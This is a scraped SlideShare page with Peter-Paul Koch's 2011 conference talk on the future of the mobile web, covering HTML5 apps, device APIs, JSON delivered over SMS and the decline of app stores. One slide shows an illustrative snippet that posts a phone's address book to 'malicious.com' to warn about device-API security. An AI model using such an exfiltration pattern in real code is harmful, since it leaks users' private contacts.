SlideShare ist ein Scribd-Unternehmen logo
1 von 36
Downloaden Sie, um offline zu lesen
The future of the
     mobile web
                      Peter-Paul Koch
               http://quirksmode.org
               http://twitter.com/ppk
 Breaking Development, 11 April 2011
Apps in theory
Symbian
                    4% 3%
Android
iOS           16%
                             38%
BlackBerry
Windows
bada         16%


                       22%
Apps in practice

Android
iOS

Rest? What rest?
                   16%


                         22%
Apps in the future
HTML5 apps
• One core app written in HTML, CSS,
  and JavaScript.
• Deployed to several mobile platforms.
• Ideally, CSS and JavaScript are stored
  on the device.
• If it can't be deployed it's still a
  website.
HTML5 app
         deployment
• http://apparat.io/ (Uxebu)
• https://build.phonegap.com/ (Nitobi)
Device APIs
• Native apps offer device APIs.
• They allow you to access the camera,
  accelerometer, SMS, file system, etc.
• They tie in your site or app with the mobile
  context.
• Web apps will have to offer them, too.
Device APIs
device.phone.call(device.addressBook['mom'])‫‏‬

Great!
Well ...
var ab = device.addressBook.toString();
sendRequest(POST,'malicious.com',ab);

There’s a serious security problem here.
• Trusted apps from store
• Better security interface
Device APIs spec
• BONDI (obsolete)
• JIL (obsolete)
• W3C DAP (not yet ready)
• WAC 2.0
2011




       $25
2011




       $75
2014




       $25
2014

       Apps!
       keep track of prices,
       keep track of
       multiple ships,
       give warning against
       corrupt police
       officers
Fisherman’s cousin
Fisherman
                             (also a fisherman)



                     ?


       I’ve done it. In April 2009.
Symbian   Windows Mobile
Symbian                   Windows Mobile


And it worked.
Almost.
There was a compatibility issue.
But still the concept was viable.
data                       data
       ?               ?

           HTML5 app
?
    Data will likely be JSON
    - Light-weight
    - Already works everywhere

    But how do we get the JSON
    onto the phone?
?
    Wifi?
     Not available
    Data plan?
     Too expensive
    SMS?
     Sounds about right
JSON over SMS
• SMS is the only way of pushing data (so far)
• Premium SMS allows the service to make
  money easily
• Nearly every phone supports SMS
• It’s human-readable (more or less)
To: 06184322728

date: 150225,
towns: {
  town1: {
    prices:{
      catfish:0.88,
      dogfish:1.34,
      shellfish:0.79
    },
  },
  town2: {
    prices:{
      catfish:0.97,
      dogfish:1.13,
      shellfish:0.48
    },
  },
}
JSON over SMS
• But: cost.
• Maybe prices will go down
• Or maybe something else will take the
  place of SMS.
• IM? (Nokia, BlackBerry)
• As long as it’s push. And you can charge for
  it.
JSON over SMS
• And: illiteracy
• Images instead of text?
•                 : 0.88

• Or a voice-over app?
Money
• But if the user can share apps freely
• and pays for the data
• monetization is going to change
  considerably
• We don’t need app stores any more
End of app stores
•     “Why is everyone so exercised? As with all walled
      gardens, the web will interpret the App Store as
      damage and route around it.”


	

 	

   	

   	

   	

   	

   	

   	

   	

   - Eric Meyer
What do we need app
       stores for?
• Distribution
• Discoverability
• Ease of payments and making money
• Cost of ownership
• Works for Apple. But will it work for
  anyone else?
Distribution
Discoverability
Payments
Payments
Cost of ownership
An app store needs:
• payment system
• sysadmins
• content checkers
• documentation and best practices writers
• hosting
Costs a lot of money. Too much money, especially if
nobody uses the app store.
Works for Apple
• Apple has leverage with enthusiastic
  developers and affluent consumers
• Google has leverage with developers
• Nokia, Samsung, and RIM have leverage
  with consumers (though they’re less willing
  to spend money)
• But none of them has both
End of app stores
Will any app stores survive?

•   Apple’s. iOS apps will continue to exist.

•   Maybe a few other platform-specific ones, too.

•   Specialised app stores (structural engineering,
    music creation, historical maps, etc.)
Future of the Mobile Web
• Many native apps will be replaced by web
  apps, which can run anywhere
• Device APIs (but security!)
• Apps will be shared via Bluetooth
• Web data will also be offered via SMS
• Pay for content, not app
• App stores on the defensive
Thank you
I will post these slides online, but only in
                 mid May.

           Questions?Peter-Paul Koch
                            http://quirksmode.org
                            http://twitter.com/ppk
              Breaking Development, 11 April 2011

Weitere ähnliche Inhalte

Was ist angesagt?

Chip shop presentation m spicer - 2
Chip shop presentation   m spicer - 2Chip shop presentation   m spicer - 2
Chip shop presentation m spicer - 2Martin Spicer
 
MOBILE DEVELOPMENT with HTML, CSS and JS
MOBILE DEVELOPMENT with HTML, CSS and JSMOBILE DEVELOPMENT with HTML, CSS and JS
MOBILE DEVELOPMENT with HTML, CSS and JSSperasoft
 
"The Web - You're Doing it Wrong" for Forum Oxford May 2014
"The Web - You're Doing it Wrong" for Forum Oxford May 2014"The Web - You're Doing it Wrong" for Forum Oxford May 2014
"The Web - You're Doing it Wrong" for Forum Oxford May 2014Daniel Appelquist
 
I phone presentation
I phone presentationI phone presentation
I phone presentationrosenbe_jenn
 
Softjourn mobile experience
Softjourn mobile experienceSoftjourn mobile experience
Softjourn mobile experienceSoftjourn, Inc
 
Mobile, the past present and future for Digital marketers
Mobile, the past present and future for Digital marketersMobile, the past present and future for Digital marketers
Mobile, the past present and future for Digital marketersGerry White
 
Mobile experiences of Foursevens
Mobile experiences of FoursevensMobile experiences of Foursevens
Mobile experiences of FoursevensComma Group
 
Firefox OS Apps & Apis - WebRebels App day 2013
Firefox OS Apps & Apis - WebRebels App day 2013Firefox OS Apps & Apis - WebRebels App day 2013
Firefox OS Apps & Apis - WebRebels App day 2013Jan Jongboom
 
Phonegap - An Introduction
Phonegap - An IntroductionPhonegap - An Introduction
Phonegap - An IntroductionTyler Johnston
 
Native Vs HTML5 Apps
Native Vs HTML5 AppsNative Vs HTML5 Apps
Native Vs HTML5 AppsAppAcademy
 
Online mobile game(nguyenle)
Online mobile game(nguyenle)Online mobile game(nguyenle)
Online mobile game(nguyenle)action.vn
 
Comparing the Four Main Mobile OSes
Comparing the Four Main Mobile OSesComparing the Four Main Mobile OSes
Comparing the Four Main Mobile OSesChad Udell
 
Sugsa mobile ux_april 2013
Sugsa mobile ux_april 2013Sugsa mobile ux_april 2013
Sugsa mobile ux_april 2013Phil Barrett
 
Native apps made easy with Xamarin and cross-platform C#
Native apps made easy with Xamarin and cross-platform C#Native apps made easy with Xamarin and cross-platform C#
Native apps made easy with Xamarin and cross-platform C#jivkopetiov
 
The mobile browser world
The mobile browser worldThe mobile browser world
The mobile browser worldPeter-Paul Koch
 
Mobile HTML5 Web Apps - Codemotion 2012
Mobile HTML5 Web Apps - Codemotion 2012Mobile HTML5 Web Apps - Codemotion 2012
Mobile HTML5 Web Apps - Codemotion 2012marcocasario
 
4 Steps To Building The Perfect App Monetization Model For You!
4 Steps To Building The Perfect App Monetization Model For You! 4 Steps To Building The Perfect App Monetization Model For You!
4 Steps To Building The Perfect App Monetization Model For You! Hashmi Rafsanjani
 

Was ist angesagt? (20)

Chip shop presentation m spicer - 2
Chip shop presentation   m spicer - 2Chip shop presentation   m spicer - 2
Chip shop presentation m spicer - 2
 
MOBILE DEVELOPMENT with HTML, CSS and JS
MOBILE DEVELOPMENT with HTML, CSS and JSMOBILE DEVELOPMENT with HTML, CSS and JS
MOBILE DEVELOPMENT with HTML, CSS and JS
 
"The Web - You're Doing it Wrong" for Forum Oxford May 2014
"The Web - You're Doing it Wrong" for Forum Oxford May 2014"The Web - You're Doing it Wrong" for Forum Oxford May 2014
"The Web - You're Doing it Wrong" for Forum Oxford May 2014
 
I phone presentation
I phone presentationI phone presentation
I phone presentation
 
Softjourn mobile experience
Softjourn mobile experienceSoftjourn mobile experience
Softjourn mobile experience
 
Mobile, the past present and future for Digital marketers
Mobile, the past present and future for Digital marketersMobile, the past present and future for Digital marketers
Mobile, the past present and future for Digital marketers
 
Ycs iphone-development
Ycs iphone-developmentYcs iphone-development
Ycs iphone-development
 
Mobile experiences of Foursevens
Mobile experiences of FoursevensMobile experiences of Foursevens
Mobile experiences of Foursevens
 
Firefox OS Apps & Apis - WebRebels App day 2013
Firefox OS Apps & Apis - WebRebels App day 2013Firefox OS Apps & Apis - WebRebels App day 2013
Firefox OS Apps & Apis - WebRebels App day 2013
 
Phonegap - An Introduction
Phonegap - An IntroductionPhonegap - An Introduction
Phonegap - An Introduction
 
Native Vs HTML5 Apps
Native Vs HTML5 AppsNative Vs HTML5 Apps
Native Vs HTML5 Apps
 
Personal use
Personal usePersonal use
Personal use
 
Online mobile game(nguyenle)
Online mobile game(nguyenle)Online mobile game(nguyenle)
Online mobile game(nguyenle)
 
Comparing the Four Main Mobile OSes
Comparing the Four Main Mobile OSesComparing the Four Main Mobile OSes
Comparing the Four Main Mobile OSes
 
Sugsa mobile ux_april 2013
Sugsa mobile ux_april 2013Sugsa mobile ux_april 2013
Sugsa mobile ux_april 2013
 
Native apps made easy with Xamarin and cross-platform C#
Native apps made easy with Xamarin and cross-platform C#Native apps made easy with Xamarin and cross-platform C#
Native apps made easy with Xamarin and cross-platform C#
 
The mobile browser world
The mobile browser worldThe mobile browser world
The mobile browser world
 
Mobile HTML5 Web Apps - Codemotion 2012
Mobile HTML5 Web Apps - Codemotion 2012Mobile HTML5 Web Apps - Codemotion 2012
Mobile HTML5 Web Apps - Codemotion 2012
 
iPhone
iPhone iPhone
iPhone
 
4 Steps To Building The Perfect App Monetization Model For You!
4 Steps To Building The Perfect App Monetization Model For You! 4 Steps To Building The Perfect App Monetization Model For You!
4 Steps To Building The Perfect App Monetization Model For You!
 

Ähnlich wie The future of the mobile web

Peter Paul Koch - mobile convention amsterdam
Peter Paul Koch - mobile convention amsterdamPeter Paul Koch - mobile convention amsterdam
Peter Paul Koch - mobile convention amsterdamMobileConventionAmsterdam
 
HTML5 or Android for Mobile Development?
HTML5 or Android for Mobile Development?HTML5 or Android for Mobile Development?
HTML5 or Android for Mobile Development?Reto Meier
 
Accelerating Mobile Development with Mobile Enterprise Application Platforms ...
Accelerating Mobile Development with Mobile Enterprise Application Platforms ...Accelerating Mobile Development with Mobile Enterprise Application Platforms ...
Accelerating Mobile Development with Mobile Enterprise Application Platforms ...Srinath Perera
 
Philly ete-2011
Philly ete-2011Philly ete-2011
Philly ete-2011davyjones
 
Best practices for delivering quality web experiences
Best practices for delivering quality web experiencesBest practices for delivering quality web experiences
Best practices for delivering quality web experiencesBen Mantooth
 
HTML5 for mobile - DiGi Challenge for Change
HTML5 for mobile - DiGi Challenge for ChangeHTML5 for mobile - DiGi Challenge for Change
HTML5 for mobile - DiGi Challenge for ChangeJan Jongboom
 
HTML5: The Apps, the Frameworks, the Controversy
HTML5: The Apps, the Frameworks, the Controversy HTML5: The Apps, the Frameworks, the Controversy
HTML5: The Apps, the Frameworks, the Controversy Apigee | Google Cloud
 
Webinar Mobile ECM Apps with Nuxeo EP
Webinar Mobile ECM Apps with Nuxeo EPWebinar Mobile ECM Apps with Nuxeo EP
Webinar Mobile ECM Apps with Nuxeo EPNuxeo
 
Mobile web vs. native apps: It's not about technology, it's about psychology
Mobile web vs. native apps: It's not about technology, it's about psychologyMobile web vs. native apps: It's not about technology, it's about psychology
Mobile web vs. native apps: It's not about technology, it's about psychologyiQcontent
 
Firefox os the web, mobile (for yahoo! hack europe - april 2013)
Firefox os  the web, mobile (for yahoo! hack europe - april 2013)Firefox os  the web, mobile (for yahoo! hack europe - april 2013)
Firefox os the web, mobile (for yahoo! hack europe - april 2013)Yahoo Developer Network
 
Navigation & Location Europe 2009 Condensed
Navigation & Location Europe 2009 CondensedNavigation & Location Europe 2009 Condensed
Navigation & Location Europe 2009 CondensedAlex Housley
 
WSO2Con Asia 2014 - Accelerating Mobile Development with Mobile Enterprise Ap...
WSO2Con Asia 2014 - Accelerating Mobile Development with Mobile Enterprise Ap...WSO2Con Asia 2014 - Accelerating Mobile Development with Mobile Enterprise Ap...
WSO2Con Asia 2014 - Accelerating Mobile Development with Mobile Enterprise Ap...WSO2
 
developementofmobileapplication-160412025313 (1).pptx
developementofmobileapplication-160412025313 (1).pptxdevelopementofmobileapplication-160412025313 (1).pptx
developementofmobileapplication-160412025313 (1).pptxPoooi2
 
Mobile ECM with JavaScript - JSE 2011
Mobile ECM with JavaScript - JSE 2011Mobile ECM with JavaScript - JSE 2011
Mobile ECM with JavaScript - JSE 2011Nuxeo
 
Building Mobile Apps with HTML, CSS, and JavaScript
Building Mobile Apps with HTML, CSS, and JavaScriptBuilding Mobile Apps with HTML, CSS, and JavaScript
Building Mobile Apps with HTML, CSS, and JavaScriptJonathan Stark
 

Ähnlich wie The future of the mobile web (20)

Peter Paul Koch - mobile convention amsterdam
Peter Paul Koch - mobile convention amsterdamPeter Paul Koch - mobile convention amsterdam
Peter Paul Koch - mobile convention amsterdam
 
HTML5 or Android for Mobile Development?
HTML5 or Android for Mobile Development?HTML5 or Android for Mobile Development?
HTML5 or Android for Mobile Development?
 
Accelerating Mobile Development with Mobile Enterprise Application Platforms ...
Accelerating Mobile Development with Mobile Enterprise Application Platforms ...Accelerating Mobile Development with Mobile Enterprise Application Platforms ...
Accelerating Mobile Development with Mobile Enterprise Application Platforms ...
 
Philly ete-2011
Philly ete-2011Philly ete-2011
Philly ete-2011
 
Future of Mobile
Future of MobileFuture of Mobile
Future of Mobile
 
Best practices for delivering quality web experiences
Best practices for delivering quality web experiencesBest practices for delivering quality web experiences
Best practices for delivering quality web experiences
 
DjangoSki
DjangoSkiDjangoSki
DjangoSki
 
HTML5 for mobile - DiGi Challenge for Change
HTML5 for mobile - DiGi Challenge for ChangeHTML5 for mobile - DiGi Challenge for Change
HTML5 for mobile - DiGi Challenge for Change
 
DDive- Giuseppe Grasso - mobile su Lotus
DDive- Giuseppe Grasso - mobile su LotusDDive- Giuseppe Grasso - mobile su Lotus
DDive- Giuseppe Grasso - mobile su Lotus
 
HTML5: The Apps, the Frameworks, the Controversy
HTML5: The Apps, the Frameworks, the Controversy HTML5: The Apps, the Frameworks, the Controversy
HTML5: The Apps, the Frameworks, the Controversy
 
Webinar Mobile ECM Apps with Nuxeo EP
Webinar Mobile ECM Apps with Nuxeo EPWebinar Mobile ECM Apps with Nuxeo EP
Webinar Mobile ECM Apps with Nuxeo EP
 
Mobile web vs. native apps: It's not about technology, it's about psychology
Mobile web vs. native apps: It's not about technology, it's about psychologyMobile web vs. native apps: It's not about technology, it's about psychology
Mobile web vs. native apps: It's not about technology, it's about psychology
 
Firefox os the web, mobile (for yahoo! hack europe - april 2013)
Firefox os  the web, mobile (for yahoo! hack europe - april 2013)Firefox os  the web, mobile (for yahoo! hack europe - april 2013)
Firefox os the web, mobile (for yahoo! hack europe - april 2013)
 
Navigation & Location Europe 2009 Condensed
Navigation & Location Europe 2009 CondensedNavigation & Location Europe 2009 Condensed
Navigation & Location Europe 2009 Condensed
 
WSO2Con Asia 2014 - Accelerating Mobile Development with Mobile Enterprise Ap...
WSO2Con Asia 2014 - Accelerating Mobile Development with Mobile Enterprise Ap...WSO2Con Asia 2014 - Accelerating Mobile Development with Mobile Enterprise Ap...
WSO2Con Asia 2014 - Accelerating Mobile Development with Mobile Enterprise Ap...
 
01 Mobile Jungle
01 Mobile Jungle01 Mobile Jungle
01 Mobile Jungle
 
Samsung
SamsungSamsung
Samsung
 
developementofmobileapplication-160412025313 (1).pptx
developementofmobileapplication-160412025313 (1).pptxdevelopementofmobileapplication-160412025313 (1).pptx
developementofmobileapplication-160412025313 (1).pptx
 
Mobile ECM with JavaScript - JSE 2011
Mobile ECM with JavaScript - JSE 2011Mobile ECM with JavaScript - JSE 2011
Mobile ECM with JavaScript - JSE 2011
 
Building Mobile Apps with HTML, CSS, and JavaScript
Building Mobile Apps with HTML, CSS, and JavaScriptBuilding Mobile Apps with HTML, CSS, and JavaScript
Building Mobile Apps with HTML, CSS, and JavaScript
 

Mehr von Peter-Paul Koch

Rethinking the mobile web
Rethinking the mobile webRethinking the mobile web
Rethinking the mobile webPeter-Paul Koch
 
The mobile browser world
The mobile browser worldThe mobile browser world
The mobile browser worldPeter-Paul Koch
 
The touch events - WebExpo
The touch events - WebExpoThe touch events - WebExpo
The touch events - WebExpoPeter-Paul Koch
 
The Mobile Web - Fronteers 2009
The Mobile Web - Fronteers 2009The Mobile Web - Fronteers 2009
The Mobile Web - Fronteers 2009Peter-Paul Koch
 
State of the Mobile Browsers
State of the Mobile BrowsersState of the Mobile Browsers
State of the Mobile BrowsersPeter-Paul Koch
 
Voices That Matter: JavaScript Events
Voices That Matter: JavaScript EventsVoices That Matter: JavaScript Events
Voices That Matter: JavaScript EventsPeter-Paul Koch
 
The Ajax Experience: State Of The Browsers
The Ajax Experience: State Of The BrowsersThe Ajax Experience: State Of The Browsers
The Ajax Experience: State Of The BrowsersPeter-Paul Koch
 
An Event Apart Boston: Principles of Unobtrusive JavaScript
An Event Apart Boston: Principles of Unobtrusive JavaScriptAn Event Apart Boston: Principles of Unobtrusive JavaScript
An Event Apart Boston: Principles of Unobtrusive JavaScriptPeter-Paul Koch
 
Google presentation: The Open Web goes mobile
Google presentation: The Open Web goes mobileGoogle presentation: The Open Web goes mobile
Google presentation: The Open Web goes mobilePeter-Paul Koch
 
Yahoo presentation: JavaScript Events
Yahoo presentation: JavaScript EventsYahoo presentation: JavaScript Events
Yahoo presentation: JavaScript EventsPeter-Paul Koch
 

Mehr von Peter-Paul Koch (14)

Rethinking the mobile web
Rethinking the mobile webRethinking the mobile web
Rethinking the mobile web
 
The mobile browser world
The mobile browser worldThe mobile browser world
The mobile browser world
 
The touch events
The touch eventsThe touch events
The touch events
 
JSON over SMS
JSON over SMSJSON over SMS
JSON over SMS
 
The touch events - WebExpo
The touch events - WebExpoThe touch events - WebExpo
The touch events - WebExpo
 
The touch events
The touch eventsThe touch events
The touch events
 
The Mobile Web - Fronteers 2009
The Mobile Web - Fronteers 2009The Mobile Web - Fronteers 2009
The Mobile Web - Fronteers 2009
 
State of the Mobile Browsers
State of the Mobile BrowsersState of the Mobile Browsers
State of the Mobile Browsers
 
Vodafone Widget Camp
Vodafone Widget CampVodafone Widget Camp
Vodafone Widget Camp
 
Voices That Matter: JavaScript Events
Voices That Matter: JavaScript EventsVoices That Matter: JavaScript Events
Voices That Matter: JavaScript Events
 
The Ajax Experience: State Of The Browsers
The Ajax Experience: State Of The BrowsersThe Ajax Experience: State Of The Browsers
The Ajax Experience: State Of The Browsers
 
An Event Apart Boston: Principles of Unobtrusive JavaScript
An Event Apart Boston: Principles of Unobtrusive JavaScriptAn Event Apart Boston: Principles of Unobtrusive JavaScript
An Event Apart Boston: Principles of Unobtrusive JavaScript
 
Google presentation: The Open Web goes mobile
Google presentation: The Open Web goes mobileGoogle presentation: The Open Web goes mobile
Google presentation: The Open Web goes mobile
 
Yahoo presentation: JavaScript Events
Yahoo presentation: JavaScript EventsYahoo presentation: JavaScript Events
Yahoo presentation: JavaScript Events
 

Kürzlich hochgeladen

Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Farhan Tariq
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demoHarshalMandlekar2
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersNicole Novielli
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxLoriGlavin3
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfLoriGlavin3
 
Testing tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesTesting tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesKari Kakkonen
 
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Alkin Tezuysal
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsNathaniel Shimoni
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
Potential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsPotential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsRavi Sanghani
 
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better StrongerModern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better Strongerpanagenda
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfpanagenda
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentPim van der Noll
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxLoriGlavin3
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfNeo4j
 
Assure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyesAssure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyesThousandEyes
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
Rise of the Machines: Known As Drones...
Rise of the Machines: Known As Drones...Rise of the Machines: Known As Drones...
Rise of the Machines: Known As Drones...Rick Flair
 
Data governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationData governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationKnoldus Inc.
 

Kürzlich hochgeladen (20)

Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demo
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software Developers
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptx
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdf
 
Testing tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesTesting tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examples
 
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directions
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
Potential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsPotential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and Insights
 
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better StrongerModern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdf
 
Assure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyesAssure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyes
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
Rise of the Machines: Known As Drones...
Rise of the Machines: Known As Drones...Rise of the Machines: Known As Drones...
Rise of the Machines: Known As Drones...
 
Data governance with Unity Catalog Presentation
Data governance with Unity Catalog PresentationData governance with Unity Catalog Presentation
Data governance with Unity Catalog Presentation
 

The future of the mobile web

  • 1. The future of the mobile web Peter-Paul Koch http://quirksmode.org http://twitter.com/ppk Breaking Development, 11 April 2011
  • 2. Apps in theory Symbian 4% 3% Android iOS 16% 38% BlackBerry Windows bada 16% 22%
  • 4. Apps in the future
  • 5. HTML5 apps • One core app written in HTML, CSS, and JavaScript. • Deployed to several mobile platforms. • Ideally, CSS and JavaScript are stored on the device. • If it can't be deployed it's still a website.
  • 6. HTML5 app deployment • http://apparat.io/ (Uxebu) • https://build.phonegap.com/ (Nitobi)
  • 7. Device APIs • Native apps offer device APIs. • They allow you to access the camera, accelerometer, SMS, file system, etc. • They tie in your site or app with the mobile context. • Web apps will have to offer them, too.
  • 8. Device APIs device.phone.call(device.addressBook['mom'])‫‏‬ Great! Well ... var ab = device.addressBook.toString(); sendRequest(POST,'malicious.com',ab); There’s a serious security problem here. • Trusted apps from store • Better security interface
  • 9. Device APIs spec • BONDI (obsolete) • JIL (obsolete) • W3C DAP (not yet ready) • WAC 2.0
  • 10.
  • 11. 2011 $25
  • 12. 2011 $75
  • 13. 2014 $25
  • 14. 2014 Apps! keep track of prices, keep track of multiple ships, give warning against corrupt police officers
  • 15. Fisherman’s cousin Fisherman (also a fisherman) ? I’ve done it. In April 2009.
  • 16. Symbian Windows Mobile
  • 17. Symbian Windows Mobile And it worked. Almost. There was a compatibility issue. But still the concept was viable.
  • 18. data data ? ? HTML5 app
  • 19. ? Data will likely be JSON - Light-weight - Already works everywhere But how do we get the JSON onto the phone?
  • 20. ? Wifi? Not available Data plan? Too expensive SMS? Sounds about right
  • 21. JSON over SMS • SMS is the only way of pushing data (so far) • Premium SMS allows the service to make money easily • Nearly every phone supports SMS • It’s human-readable (more or less)
  • 22. To: 06184322728 date: 150225, towns: { town1: { prices:{ catfish:0.88, dogfish:1.34, shellfish:0.79 }, }, town2: { prices:{ catfish:0.97, dogfish:1.13, shellfish:0.48 }, }, }
  • 23. JSON over SMS • But: cost. • Maybe prices will go down • Or maybe something else will take the place of SMS. • IM? (Nokia, BlackBerry) • As long as it’s push. And you can charge for it.
  • 24. JSON over SMS • And: illiteracy • Images instead of text? • : 0.88 • Or a voice-over app?
  • 25. Money • But if the user can share apps freely • and pays for the data • monetization is going to change considerably • We don’t need app stores any more
  • 26. End of app stores • “Why is everyone so exercised? As with all walled gardens, the web will interpret the App Store as damage and route around it.” - Eric Meyer
  • 27. What do we need app stores for? • Distribution • Discoverability • Ease of payments and making money • Cost of ownership • Works for Apple. But will it work for anyone else?
  • 32. Cost of ownership An app store needs: • payment system • sysadmins • content checkers • documentation and best practices writers • hosting Costs a lot of money. Too much money, especially if nobody uses the app store.
  • 33. Works for Apple • Apple has leverage with enthusiastic developers and affluent consumers • Google has leverage with developers • Nokia, Samsung, and RIM have leverage with consumers (though they’re less willing to spend money) • But none of them has both
  • 34. End of app stores Will any app stores survive? • Apple’s. iOS apps will continue to exist. • Maybe a few other platform-specific ones, too. • Specialised app stores (structural engineering, music creation, historical maps, etc.)
  • 35. Future of the Mobile Web • Many native apps will be replaced by web apps, which can run anywhere • Device APIs (but security!) • Apps will be shared via Bluetooth • Web data will also be offered via SMS • Pay for content, not app • App stores on the defensive
